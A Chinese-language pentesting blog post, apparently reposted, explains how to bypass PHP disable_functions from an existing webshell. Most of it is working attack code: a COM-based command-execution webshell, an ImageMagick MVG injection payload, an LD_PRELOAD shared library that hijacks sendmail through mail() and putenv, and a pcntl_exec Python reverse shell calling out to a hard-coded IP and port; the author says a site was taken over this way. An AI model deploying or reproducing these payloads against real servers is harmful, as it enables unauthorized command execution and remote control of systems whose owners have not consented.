PHP Webshell下繞過disable_function的方法


前言

在滲透測試中,會遇到自己有shell,但是不能執行命令不能提權等情況,我就把最近搞戰中遇到的突破disable_function的方法(都是一些大佬研究出來,先感謝一波)總結與復現了一下,這些方法面試也經常會問

一.系統組件繞過

window com組件(php 5.4)(高版本擴展要自己添加)
條件:要在php.ini中開啟(如圖)

利用代碼,利用shell上傳如下代碼到目標服務器上

<?php
$command=$_GET['a']; $wsh = new COM('WScript.shell'); // 生成一個COM對象 Shell.Application也能 $exec = $wsh->exec("cmd /c ".$command); //調用對象方法來執行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>

利用成功后的結果

二.利用ImageMagick漏洞繞過disable_function

ImageMagick是一套功能強大、穩定而且開源的工具集和開發包,可以用來讀、寫和處理超過89種基本格式的圖片文件,如果phpinfo中看到有這個,可以嘗試如下利用

利用代碼如下

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n"; $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd']; if ($command == '') { $command = 'id'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|$command")' pop graphic-context EOF; file_put_contents("KKKK.mvg", $exploit); $thumb = new Imagick(); $thumb->readImage('KKKK.mvg'); $thumb->writeImage('KKKK.png'); $thumb->clear(); $thumb->destroy(); unlink("KKKK.mvg"); unlink("KKKK.png"); ?>

三.利用環境變量LD_PRELOAD來繞過php disable_function執行系統命令

php的mail函數在執行過程中會默認調用系統程序/usr/sbin/sendmail,如果我們能劫持sendmail程序,再用mail函數來觸發就能實現我們的目的

利用原理

LD_PRELOAD是Linux系統的下一個有趣的環境變量:“它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,我們可以以此功能來使用自己的或是更好的函數(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。

可能這個不好理解,我們做一個簡單的測試代碼

#include <stdio.h> #include <string.h> int main(int argc, char **argv){ char passwd[] = "password"; if (argc < 2) { printf("usage: %s <password>/n", argv[0]); return 0; } if (!strcmp(passwd, argv[1])) { printf("Correct Password!/n"); return 0; } printf("Invalid Password!/n"); } # 保存為a.c,並編譯為a 

保存如上代碼為a.c,並編譯為a,編譯命令如下

gcc a.c -o a

運行a結果如下

以上程序很簡單,根據判斷傳入的字符串是否等於”password”,得出兩種不同結果。 其中用到了標准C函數strcmp函數來做比較,這是一個外部調用函數,我們來重新編寫一個同名函數,代碼如下(保存如下代碼為b.c)

#include <stdio.h> #include <string.h> int strcmp(const char *s1, const char *s2){ printf("hack functio n invoked. s1=<%s> s2=<%s>/n", s1, s2); return 0; } 

我們編譯以上代碼為一個動態共享庫,編譯命令如下

gcc -fPIC -shared b.c -o b.so

通過LD_PRELOAD來設置它能被其他調用它的程序優先加載

export LD_PRELOAD="./b.so"

我們再次運行a
./a bbb
Correct Password!

我們看到隨意輸入字符串都會顯示密碼正確,這說明程序在運行時優先加載了我們自己編寫的程序。這也就是說如果程序在運行過程中調用了某個標准的動態鏈接庫的函數,那么我們就有機會通過LD_PRELOAD來設置它優先加載我們自己編寫的程序,實現劫持。

結合mail 函數進行實戰測試

那么我們來看一下sendmail函數都調用了哪些庫函數,使用readelf -Ws /usr/sbin/sendmail命令來查看,我們發現sendmail函數在運行過程動態調用了很多標准庫函數:

構造poc思路

編制我們自己的動態鏈接程序。 通過php的putenv來設置LD_PRELOAD,讓我們的程序優先被調用。 在webshell上用mail函數發送一封郵件來觸發。具體實現如下

1.編制我們自己的動態鏈接程序,代碼如下(功能是執行mkdir test)
執行編譯為一個動態共享庫的命令如下

gcc -c -fPIC a.c -o a
gcc -shared a -o a.so

代碼

#include<stdlib.h> #include <stdio.h> #include<string.h> void payload(){ FILE*fp = fopen("/tmp/2.txt","w"); fclose(fp); system("mkdir /var/www/html/test"); } int geteuid(){ FILE *fp1=fopen("/tmp/2.txt","r"); if(fp1!=NULL) { fclose(fp1); return 552; }else { payload(); return 552; } } 

2.利用webshell,上傳編譯后的a.so到目標服務器
3.通過putenv來設置LD_PRELOAD,讓我們的程序優先被調用。在webshell上用mail函數發送一封郵件來觸發。利用代碼如下

<?php
   putenv("LD_PRELOAD=/var/www/html/a.so"); mail("[email protected]","","","",""); ?>

結果如下,成功執行命令,創建文件test

四.利用pcntl_exec突破disable_functions

pcntl是linux下的一個擴展,可以支持php的多線程操作。(與python結合反彈shell) pcntl_exec函數的作用是在當前進程空間執行指定程序,版本要求:PHP 4 >= 4.2.0, PHP 5

利用代碼如下

<?php  pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

曾經就有一個網站是如此拿下的

結尾

其實還有很多方法可以突破disable_function,在這里就不一一列舉了,真實環境中遇到disable_function禁用函數的情況還是比較多,希望和一些大佬再聊聊,學更多好思路


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM